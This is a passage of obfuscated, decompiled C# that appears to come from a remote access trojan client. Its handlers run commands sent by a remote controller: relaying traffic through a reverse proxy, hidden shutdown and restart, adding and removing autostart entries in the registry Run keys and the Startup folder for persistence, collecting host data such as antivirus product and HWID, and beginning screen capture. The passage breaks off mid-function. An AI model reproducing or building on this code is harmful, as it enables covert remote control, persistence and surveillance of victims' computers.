				矁ܩ죰曹鵣�穹蚦�∾쎊\u1dc4㩿襎Ꙑ묥\ue44e\uf41cņ漣 = new 綣ॺ흏\ufff1㴁達ᘔꓮ鹤\u0344춉㔳䜃㏶\ueae0\ue4ac絎牟∝ɽ(⛠䋵糏謳ⳮ븟\uf683隵卮憩ⵣ涒䑚ᓖ뮸ꃵﯺ\u00b4\ue6a7\ua87d);
			}
			if (command == "exit")
			{
				矁ܩ죰曹鵣�穹蚦�∾쎊\u1dc4㩿襎Ꙑ묥\ue44e\uf41cņ漣.Dispose();
			}
			else
			{
				矁ܩ죰曹鵣�穹蚦�∾쎊\u1dc4㩿襎Ꙑ묥\ue44e\uf41cņ漣.딱鿖侵䋯\u1b02�ⵧ܅┶\uf51d拱쁪ꛋ餆勀൛▇㘦筡ꊗ(command);
			}
		}
	}

	public void Dispose()
	{
		Dispose(disposing: true);
		GC.SuppressFinalize(this);
	}

	protected virtual void Dispose(bool disposing)
	{
		if (disposing)
		{
			矁ܩ죰曹鵣�穹蚦�∾쎊\u1dc4㩿襎Ꙑ묥\ue44e\uf41cņ漣?.Dispose();
		}
	}
}
public class 療㉘\u2d98ú뙭쉺\uf052懿䜓牖剠⼺쪺䆿瞔ኖ촂儴탈㩶 : IMessageProcessor
{
	private readonly \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 ᐬ젘瘀凸捘潻ꨚ셺\ue542\u03a2\u0c54鴞\uf2d7\uf653\ueb4e㈖냵잆똒肝;

	public 療㉘\u2d98ú뙭쉺\uf052懿䜓牖剠⼺쪺䆿瞔ኖ촂儴탈㩶(\uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 client)
	{
		ᐬ젘瘀凸捘潻ꨚ셺\ue542\u03a2\u0c54鴞\uf2d7\uf653\ueb4e㈖냵잆똒肝 = client;
	}

	public bool CanExecute(IMessage message)
	{
		if (message is ReverseProxyConnect || message is ReverseProxyData)
		{
			return true;
		}
		return message is ReverseProxyDisconnect;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return true;
	}

	public void Execute(ISender sender, IMessage message)
	{
		ReverseProxyConnect val = (ReverseProxyConnect)(object)((message is ReverseProxyConnect) ? message : null);
		if (val == null)
		{
			ReverseProxyData val2 = (ReverseProxyData)(object)((message is ReverseProxyData) ? message : null);
			if (val2 == null)
			{
				ReverseProxyDisconnect val3 = (ReverseProxyDisconnect)(object)((message is ReverseProxyDisconnect) ? message : null);
				if (val3 != null)
				{
					뺗簚댉실ᥴ龌踫䁶⻃馺롄�뫧䌽蚸ꂏ\uedc2灤ㆵ馥(sender, val3);
				}
			}
			else
			{
				\uee5eㄷ�㽔쯕Ὺ㳭\ued5e䋋왿犅멩尞ᡠ䬏\u05ff\u1bf1껰裫嫧(sender, val2);
			}
		}
		else
		{
			\ue3a1宪긿ꇨ\uec59崈絰\uf419郟濢챝틄䩨྾蟐槥ѝ볤詊됒(sender, val);
		}
	}

	private void \ue3a1宪긿ꇨ\uec59崈絰\uf419郟濢챝틄䩨྾蟐槥ѝ볤詊됒(ISender client, ReverseProxyConnect message)
	{
		((Client)ᐬ젘瘀凸捘潻ꨚ셺\ue542\u03a2\u0c54鴞\uf2d7\uf653\ueb4e㈖냵잆똒肝).ConnectReverseProxy(message);
	}

	private void \uee5eㄷ�㽔쯕Ὺ㳭\ued5e䋋왿犅멩尞ᡠ䬏\u05ff\u1bf1껰裫嫧(ISender client, ReverseProxyData message)
	{
		ReverseProxyClient reverseProxyByConnectionId = ((Client)ᐬ젘瘀凸捘潻ꨚ셺\ue542\u03a2\u0c54鴞\uf2d7\uf653\ueb4e㈖냵잆똒肝).GetReverseProxyByConnectionId(message.ConnectionId);
		if (reverseProxyByConnectionId != null)
		{
			reverseProxyByConnectionId.SendToTargetServer(message.Data);
		}
	}

	private void 뺗簚댉실ᥴ龌踫䁶⻃馺롄�뫧䌽蚸ꂏ\uedc2灤ㆵ馥(ISender client, ReverseProxyDisconnect message)
	{
		ReverseProxyClient reverseProxyByConnectionId = ((Client)ᐬ젘瘀凸捘潻ꨚ셺\ue542\u03a2\u0c54鴞\uf2d7\uf653\ueb4e㈖냵잆똒肝).GetReverseProxyByConnectionId(message.ConnectionId);
		if (reverseProxyByConnectionId != null)
		{
			reverseProxyByConnectionId.Disconnect();
		}
	}
}
public class \uf5d9쌩싔﵈Ƽ\ue2fb蘆蚲⚤㬯\ufb1a緒䓖犥Ὸ护\uf0de䳅᨞\u0345 : IMessageProcessor
{
	public bool CanExecute(IMessage message)
	{
		return message is DoShutdownAction;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return true;
	}

	public void Execute(ISender sender, IMessage message)
	{
		DoShutdownAction val = (DoShutdownAction)(object)((message is DoShutdownAction) ? message : null);
		if (val != null)
		{
			냨돑\uebb2㢲덵ꊰ鲀墌⨴�⬗畖黑콘슦க酻ᅷ\uec10埂(sender, val);
		}
	}

	private void 냨돑\uebb2㢲덵ꊰ鲀墌⨴�⬗畖黑콘슦க酻ᅷ\uec10埂(ISender client, DoShutdownAction message)
	{
		//IL_0007: Unknown result type (might be due to invalid IL or missing references)
		//IL_000c: Unknown result type (might be due to invalid IL or missing references)
		//IL_000d: Unknown result type (might be due to invalid IL or missing references)
		//IL_001f: Expected I4, but got Unknown
		//IL_0088: Unknown result type (might be due to invalid IL or missing references)
		//IL_008d: Unknown result type (might be due to invalid IL or missing references)
		//IL_00a8: Expected O, but got Unknown
		try
		{
			ProcessStartInfo processStartInfo = new ProcessStartInfo();
			ShutdownAction action = message.Action;
			switch ((int)action)
			{
			case 0:
				processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo.UseShellExecute = true;
				processStartInfo.Arguments = "/s /t 0";
				processStartInfo.FileName = "shutdown";
				Process.Start(processStartInfo);
				break;
			case 1:
				processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo.UseShellExecute = true;
				processStartInfo.Arguments = "/r /t 0";
				processStartInfo.FileName = "shutdown";
				Process.Start(processStartInfo);
				break;
			case 2:
				Application.SetSuspendState((PowerState)0, true, true);
				break;
			}
		}
		catch (Exception ex)
		{
			client.Send<SetStatus>(new SetStatus
			{
				Message = "Action failed: " + ex.Message
			});
		}
	}
}
public class ◥評崿Ꚉꢑᴑ╒뮰üၐ嵺糲㭪⨹ꮆ臎蛽㹕幾ᘒ : IMessageProcessor
{
	public bool CanExecute(IMessage message)
	{
		if (message is GetStartupItems || message is DoStartupItemAdd)
		{
			return true;
		}
		return message is DoStartupItemRemove;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return true;
	}

	public void Execute(ISender sender, IMessage message)
	{
		GetStartupItems val = (GetStartupItems)(object)((message is GetStartupItems) ? message : null);
		if (val == null)
		{
			DoStartupItemAdd val2 = (DoStartupItemAdd)(object)((message is DoStartupItemAdd) ? message : null);
			if (val2 == null)
			{
				DoStartupItemRemove val3 = (DoStartupItemRemove)(object)((message is DoStartupItemRemove) ? message : null);
				if (val3 != null)
				{
					注巶\u0a4a鰮\uf7e5룳℀\uea8e桶覲胹잻マ\ue290\ue0a5⻲迁菙㒤켒(sender, val3);
				}
			}
			else
			{
				㲟䤽蕟띂ᆼ䇴ﻑ쉵젓萰ꖝ鄺꣓\uf3da䟆㣅螵\ue651獬\uf3b5(sender, val2);
			}
		}
		else
		{
			㍮\uf1cd\ueb0dɑ碅湷䆠ꛄ䧧扲粳Ꚙ鮪鰘悳ᱭᬒ↵ɖ鍾(sender, val);
		}
	}

	private void ㍮\uf1cd\ueb0dɑ碅湷䆠ꛄ䧧扲粳Ꚙ鮪鰘悳ᱭᬒ↵ɖ鍾(ISender client, GetStartupItems message)
	{
		//IL_0360: Unknown result type (might be due to invalid IL or missing references)
		//IL_0365: Unknown result type (might be due to invalid IL or missing references)
		//IL_0381: Expected O, but got Unknown
		//IL_002f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0034: Unknown result type (might be due to invalid IL or missing references)
		//IL_0040: Unknown result type (might be due to invalid IL or missing references)
		//IL_004c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0058: Expected O, but got Unknown
		//IL_00a5: Unknown result type (might be due to invalid IL or missing references)
		//IL_00aa: Unknown result type (might be due to invalid IL or missing references)
		//IL_00b7: Unknown result type (might be due to invalid IL or missing references)
		//IL_00c4: Unknown result type (might be due to invalid IL or missing references)
		//IL_00d0: Expected O, but got Unknown
		//IL_011f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0124: Unknown result type (might be due to invalid IL or missing references)
		//IL_0131: Unknown result type (might be due to invalid IL or missing references)
		//IL_013e: Unknown result type (might be due to invalid IL or missing references)
		//IL_014a: Expected O, but got Unknown
		//IL_0199: Unknown result type (might be due to invalid IL or missing references)
		//IL_019e: Unknown result type (might be due to invalid IL or missing references)
		//IL_01ab: Unknown result type (might be due to invalid IL or missing references)
		//IL_01b8: Unknown result type (might be due to invalid IL or missing references)
		//IL_01c4: Expected O, but got Unknown
		//IL_0213: Unknown result type (might be due to invalid IL or missing references)
		//IL_0218: Unknown result type (might be due to invalid IL or missing references)
		//IL_0225: Unknown result type (might be due to invalid IL or missing references)
		//IL_0232: Unknown result type (might be due to invalid IL or missing references)
		//IL_023e: Expected O, but got Unknown
		//IL_034a: Unknown result type (might be due to invalid IL or missing references)
		//IL_034f: Unknown result type (might be due to invalid IL or missing references)
		//IL_035b: Expected O, but got Unknown
		//IL_028d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0292: Unknown result type (might be due to invalid IL or missing references)
		//IL_029f: Unknown result type (might be due to invalid IL or missing references)
		//IL_02ac: Unknown result type (might be due to invalid IL or missing references)
		//IL_02b8: Expected O, but got Unknown
		try
		{
			List<StartupItem> list = new List<StartupItem>();
			using (RegistryKey registryKey = 凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.꣓呍煆�셒痭\u1b35٢�稭逩믎䭴ꖷ梃뤮氾�\u001b阆(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
			{
				if (registryKey != null)
				{
					foreach (Tuple<string, string> keyValue in registryKey.GetKeyValues())
					{
						list.Add(new StartupItem
						{
							Name = keyValue.Item1,
							Path = keyValue.Item2,
							Type = (StartupType)0
						});
					}
				}
			}
			using (RegistryKey registryKey2 = 凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.꣓呍煆�셒痭\u1b35٢�稭逩믎䭴ꖷ梃뤮氾�\u001b阆(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
			{
				if (registryKey2 != null)
				{
					foreach (Tuple<string, string> keyValue2 in registryKey2.GetKeyValues())
					{
						list.Add(new StartupItem
						{
							Name = keyValue2.Item1,
							Path = keyValue2.Item2,
							Type = (StartupType)1
						});
					}
				}
			}
			using (RegistryKey registryKey3 = 凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.꣓呍煆�셒痭\u1b35٢�稭逩믎䭴ꖷ梃뤮氾�\u001b阆(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
			{
				if (registryKey3 != null)
				{
					foreach (Tuple<string, string> keyValue3 in registryKey3.GetKeyValues())
					{
						list.Add(new StartupItem
						{
							Name = keyValue3.Item1,
							Path = keyValue3.Item2,
							Type = (StartupType)2
						});
					}
				}
			}
			using (RegistryKey registryKey4 = 凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.꣓呍煆�셒痭\u1b35٢�稭逩믎䭴ꖷ梃뤮氾�\u001b阆(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
			{
				if (registryKey4 != null)
				{
					foreach (Tuple<string, string> keyValue4 in registryKey4.GetKeyValues())
					{
						list.Add(new StartupItem
						{
							Name = keyValue4.Item1,
							Path = keyValue4.Item2,
							Type = (StartupType)3
						});
					}
				}
			}
			using (RegistryKey registryKey5 = 凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.꣓呍煆�셒痭\u1b35٢�稭逩믎䭴ꖷ梃뤮氾�\u001b阆(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
			{
				if (registryKey5 != null)
				{
					foreach (Tuple<string, string> keyValue5 in registryKey5.GetKeyValues())
					{
						list.Add(new StartupItem
						{
							Name = keyValue5.Item1,
							Path = keyValue5.Item2,
							Type = (StartupType)5
						});
					}
				}
			}
			using (RegistryKey registryKey6 = 凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.꣓呍煆�셒痭\u1b35٢�稭逩믎䭴ꖷ梃뤮氾�\u001b阆(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
			{
				if (registryKey6 != null)
				{
					foreach (Tuple<string, string> keyValue6 in registryKey6.GetKeyValues())
					{
						list.Add(new StartupItem
						{
							Name = keyValue6.Item1,
							Path = keyValue6.Item2,
							Type = (StartupType)6
						});
					}
				}
			}
			if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
			{
				FileInfo[] files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();
				list.AddRange(files.Where((FileInfo file) => file.Name != "desktop.ini").Select((Func<FileInfo, StartupItem>)((FileInfo file) => new StartupItem
				{
					Name = file.Name,
					Path = file.FullName,
					Type = (StartupType)4
				})));
			}
			client.Send<GetStartupItemsResponse>(new GetStartupItemsResponse
			{
				StartupItems = list
			});
		}
		catch (Exception ex)
		{
			client.Send<SetStatus>(new SetStatus
			{
				Message = "Getting Autostart Items failed: " + ex.Message
			});
		}
	}

	private void 㲟䤽蕟띂ᆼ䇴ﻑ쉵젓萰ꖝ鄺꣓\uf3da䟆㣅螵\ue651獬\uf3b5(ISender client, DoStartupItemAdd message)
	{
		//IL_0006: Unknown result type (might be due to invalid IL or missing references)
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_000c: Unknown result type (might be due to invalid IL or missing references)
		//IL_002e: Expected I4, but got Unknown
		//IL_021c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0221: Unknown result type (might be due to invalid IL or missing references)
		//IL_023c: Expected O, but got Unknown
		try
		{
			StartupType type = message.StartupItem.Type;
			switch ((int)type)
			{
			case 0:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.\uee6b\ue3c8諕旲䥞赸ﳜ\u0cd2䷧ꈯ㒥螓딯㆒\uabe4넍鿛\uf0c0袈朗(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, addQuotes: true))
				{
					throw new Exception("Could not add value");
				}
				break;
			case 1:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.\uee6b\ue3c8諕旲䥞赸ﳜ\u0cd2䷧ꈯ㒥螓딯㆒\uabe4넍鿛\uf0c0袈朗(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, addQuotes: true))
				{
					throw new Exception("Could not add value");
				}
				break;
			case 2:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.\uee6b\ue3c8諕旲䥞赸ﳜ\u0cd2䷧ꈯ㒥螓딯㆒\uabe4넍鿛\uf0c0袈朗(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, addQuotes: true))
				{
					throw new Exception("Could not add value");
				}
				break;
			case 3:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.\uee6b\ue3c8諕旲䥞赸ﳜ\u0cd2䷧ꈯ㒥螓딯㆒\uabe4넍鿛\uf0c0袈朗(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, addQuotes: true))
				{
					throw new Exception("Could not add value");
				}
				break;
			case 4:
			{
				if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
				{
					Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
				}
				using StreamWriter streamWriter = new StreamWriter(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name + ".url"), append: false);
				streamWriter.WriteLine("[InternetShortcut]");
				streamWriter.WriteLine("URL=file:///" + message.StartupItem.Path);
				streamWriter.WriteLine("IconIndex=0");
				streamWriter.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/'));
				streamWriter.Flush();
				break;
			}
			case 5:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.\uee6b\ue3c8諕旲䥞赸ﳜ\u0cd2䷧ꈯ㒥螓딯㆒\uabe4넍鿛\uf0c0袈朗(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, addQuotes: true))
				{
					throw new Exception("Could not add value");
				}
				break;
			case 6:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.\uee6b\ue3c8諕旲䥞赸ﳜ\u0cd2䷧ꈯ㒥螓딯㆒\uabe4넍鿛\uf0c0袈朗(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, addQuotes: true))
				{
					throw new Exception("Could not add value");
				}
				break;
			}
		}
		catch (Exception ex)
		{
			client.Send<SetStatus>(new SetStatus
			{
				Message = "Adding Autostart Item failed: " + ex.Message
			});
		}
	}

	private void 注巶\u0a4a鰮\uf7e5룳℀\uea8e桶覲胹잻マ\ue290\ue0a5⻲迁菙㒤켒(ISender client, DoStartupItemRemove message)
	{
		//IL_0006: Unknown result type (might be due to invalid IL or missing references)
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_000c: Unknown result type (might be due to invalid IL or missing references)
		//IL_002e: Expected I4, but got Unknown
		//IL_015d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0162: Unknown result type (might be due to invalid IL or missing references)
		//IL_017d: Expected O, but got Unknown
		try
		{
			StartupType type = message.StartupItem.Type;
			switch ((int)type)
			{
			case 0:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.�麓\ue54a堞颷\u20c5ᅁ\u000d\ue591用걶ゟ씏彏ꊅ昙麐\uf5c4颇\u0b48(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
				{
					throw new Exception("Could not remove value");
				}
				break;
			case 1:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.�麓\ue54a堞颷\u20c5ᅁ\u000d\ue591用걶ゟ씏彏ꊅ昙麐\uf5c4颇\u0b48(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
				{
					throw new Exception("Could not remove value");
				}
				break;
			case 2:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.�麓\ue54a堞颷\u20c5ᅁ\u000d\ue591用걶ゟ씏彏ꊅ昙麐\uf5c4颇\u0b48(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
				{
					throw new Exception("Could not remove value");
				}
				break;
			case 3:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.�麓\ue54a堞颷\u20c5ᅁ\u000d\ue591用걶ゟ씏彏ꊅ昙麐\uf5c4颇\u0b48(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
				{
					throw new Exception("Could not remove value");
				}
				break;
			case 4:
			{
				string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name);
				if (!File.Exists(path))
				{
					throw new IOException("File does not exist");
				}
				File.Delete(path);
				break;
			}
			case 5:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.�麓\ue54a堞颷\u20c5ᅁ\u000d\ue591用걶ゟ씏彏ꊅ昙麐\uf5c4颇\u0b48(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
				{
					throw new Exception("Could not remove value");
				}
				break;
			case 6:
				if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.�麓\ue54a堞颷\u20c5ᅁ\u000d\ue591用걶ゟ씏彏ꊅ昙麐\uf5c4颇\u0b48(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
				{
					throw new Exception("Could not remove value");
				}
				break;
			}
		}
		catch (Exception ex)
		{
			client.Send<SetStatus>(new SetStatus
			{
				Message = "Removing Autostart Item failed: " + ex.Message
			});
		}
	}
}
public class 쬓\uebb3泅\u07b9渊\ue574\ueed3꧃㬥覫な貋偡ᖑ\u081cϡ�璗椸宿 : IMessageProcessor
{
	private static BitmapData 酞\ufae7ជ㹔쌿즄\uf384갋㓥黬成\uefafਠ虋ꉋ暸ꥰ赻宨つ = null;

	private static Bitmap \ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌 = null;

	private static int ꆥ켫\u12b1꓿凶蚋ⳳ䛍蜑\u0b81ஐ礕\u0dde叜幣缫㭑䕔孳\u1cf4 = 0;

	private static int 괮Ꭴ锯䕪펚젝뵂\ue813鋙⋿�攫翚堶ꍆᵎ瘲奣鯅┌ = 35;

	private static bool 捼龰䯪洄鉕醉辇趡\ue22b埨檰轑㕒�涗\uecd7篨鑁웅\u0dfe = true;

	public bool CanExecute(IMessage message)
	{
		if (!(message is GetSystemInfo))
		{
			return message is GetSystemSummaryInfo;
		}
		return true;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return true;
	}

	public void Execute(ISender sender, IMessage message)
	{
		GetSystemInfo val = (GetSystemInfo)(object)((message is GetSystemInfo) ? message : null);
		if (val == null)
		{
			GetSystemSummaryInfo val2 = (GetSystemSummaryInfo)(object)((message is GetSystemSummaryInfo) ? message : null);
			if (val2 != null)
			{
				で쟓态悷乜\u08f0玳핯ⱌ蟮⯖\uebe8\ueccbꅰ⩥⬏舿今窑鵟(sender, val2);
			}
		}
		else
		{
			\uf74f퇴\uec2b\uf544\uf0c1닶磅㱡㵽뙜넎濵雰诤懤蠌왱Տ눬슋(sender, val);
		}
	}

	private void で쟓态悷乜\u08f0玳핯ⱌ蟮⯖\uebe8\ueccbꅰ⩥⬏舿今窑鵟(ISender client, GetSystemSummaryInfo message)
	{
		//IL_00ec: Unknown result type (might be due to invalid IL or missing references)
		//IL_00f1: Unknown result type (might be due to invalid IL or missing references)
		//IL_00fd: Expected O, but got Unknown
		//IL_0108: Unknown result type (might be due to invalid IL or missing references)
		//IL_010d: Unknown result type (might be due to invalid IL or missing references)
		//IL_011a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0128: Expected O, but got Unknown
		//IL_0133: Unknown result type (might be due to invalid IL or missing references)
		//IL_0139: Expected O, but got Unknown
		//IL_0190: Unknown result type (might be due to invalid IL or missing references)
		//IL_01ea: Unknown result type (might be due to invalid IL or missing references)
		//IL_01f7: Unknown result type (might be due to invalid IL or missing references)
		//IL_01fc: Unknown result type (might be due to invalid IL or missing references)
		//IL_0209: Unknown result type (might be due to invalid IL or missing references)
		//IL_0215: Unknown result type (might be due to invalid IL or missing references)
		//IL_0221: Unknown result type (might be due to invalid IL or missing references)
		//IL_0232: Expected O, but got Unknown
		List<Tuple<string, string>> systemSummaryInfos = new List<Tuple<string, string>>
		{
			new Tuple<string, string>("OS:", \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ.㎩ኲ컝룯簹쉆荤宧漓\ufde7予\u1dcc첰놋쨴팽塕삂ꮾ⫒()),
			new Tuple<string, string>("CPU:", \u05b9싍\uee20误펋桹�☚\uf398屆ъ춬㑌࠷㴕黡\ue28d橂稝\ue372.CpuName),
			new Tuple<string, string>("GPU:", \u05b9싍\uee20误펋桹�☚\uf398屆ъ춬㑌࠷㴕黡\ue28d橂稝\ue372.GpuName),
			new Tuple<string, string>("Memory:", $"{\u05b9싍\uee20误펋桹�☚\uf398屆ъ춬㑌࠷㴕黡\ue28d橂稝\ue372.TotalPhysicalMemory} MB"),
			new Tuple<string, string>("Uptime:", \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ.ᾏ쓅䪜ꨋ짳\uf014挅蜻鞈�妗똏緵뤏㥘㊬⡘詡켝➭()),
			new Tuple<string, string>("Idle Time:", \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ.㿹隴兠韺㸷\uf517컵ﻪ況栱淤杷ӡᱰ䘂䪂㈯\ue982\u2b75헻() / 1000 + " seconds"),
			new Tuple<string, string>("Window:", \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ.ꓳ䁕ꬃ⦇雝쭎鑠袛顦ꎬ附腘豽㙀益鞵\u0089荴楯㋶()),
			new Tuple<string, string>("Antivirus:", \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ.긩翌\ue176䘖�ꢂ쌮\uab6f䗿Ա쵺�\u1a6e岴⯒氉眰씈츆䥧()),
			new Tuple<string, string>("HWID:", \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ.ﭙ눚ዂ\u1739\u1a9a㊖\uefc6鸏樊롐\ue7f3䌥⚍\uf0e3ⅉ㫁윞\ue8c9빲꼏())
		};
		client.Send<GetSystemSummaryInfoResponse>(new GetSystemSummaryInfoResponse
		{
			SystemSummaryInfos = systemSummaryInfos
		});
		Rectangle rectangle = 鳻沊\ue957㜎븴尟虼葯\uf83d\u07af麶渻旍湶ൺ\u0619峌緖Ἆ\ue3cd.\u17b7곃舤庶瑪䡾⊶\ue851闝␞\ue4f5殅牪玴痮\uf7ee벽䑫춺⮨(ꆥ켫\u12b1꓿凶蚋ⳳ䛍蜑\u0b81ஐ礕\u0dde叜幣缫㭑䕔孳\u1cf4);
		Resolution val = new Resolution
		{
			Height = rectangle.Height,
			Width = rectangle.Width
		};
		UnsafeStreamCodec val2 = new UnsafeStreamCodec(괮Ꭴ锯䕪펚젝뵂\ue813鋙⋿�攫翚堶ꍆᵎ瘲奣鯅┌, ꆥ켫\u12b1꓿凶蚋ⳳ䛍蜑\u0b81ஐ礕\u0dde叜幣缫㭑䕔孳\u1cf4, val);
		try
		{
			_ = IntPtr.Zero;
			鳻沊\ue957㜎븴尟虼葯\uf83d\u07af麶渻旍湶ൺ\u0619峌緖Ἆ\ue3cd.뤝ษ툺騌ᤙ总䊇碔쾼㳭ᆅ\uec2e匒㱶톷྅⦢汗ԑ\ua9da(鳻沊\ue957㜎븴尟虼葯\uf83d\u07af麶渻旍湶ൺ\u0619峌緖Ἆ\ue3cd.㼙\uef10ﳤ伐�\ue778槰\ue87e\ued12�ꈥ厏롼≕쏕ꄁ涁﹥⹌搬("Default", 0, fInherit: true, 511u));
			\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌 = 鳻沊\ue957㜎븴尟虼葯\uf83d\u07af麶渻旍湶ൺ\u0619峌緖Ἆ\ue3cd.耻娘\ue075뺹ꩊ煙ǫ�造ᢦ弪떼鈢켑嫲峫㸫盎㪃\ue05a(ꆥ켫\u12b1꓿凶蚋ⳳ䛍蜑\u0b81ஐ礕\u0dde叜幣缫㭑䕔孳\u1cf4, 捼龰䯪洄鉕醉辇趡\ue22b埨檰轑㕒�涗\uecd7篨鑁웅\u0dfe);
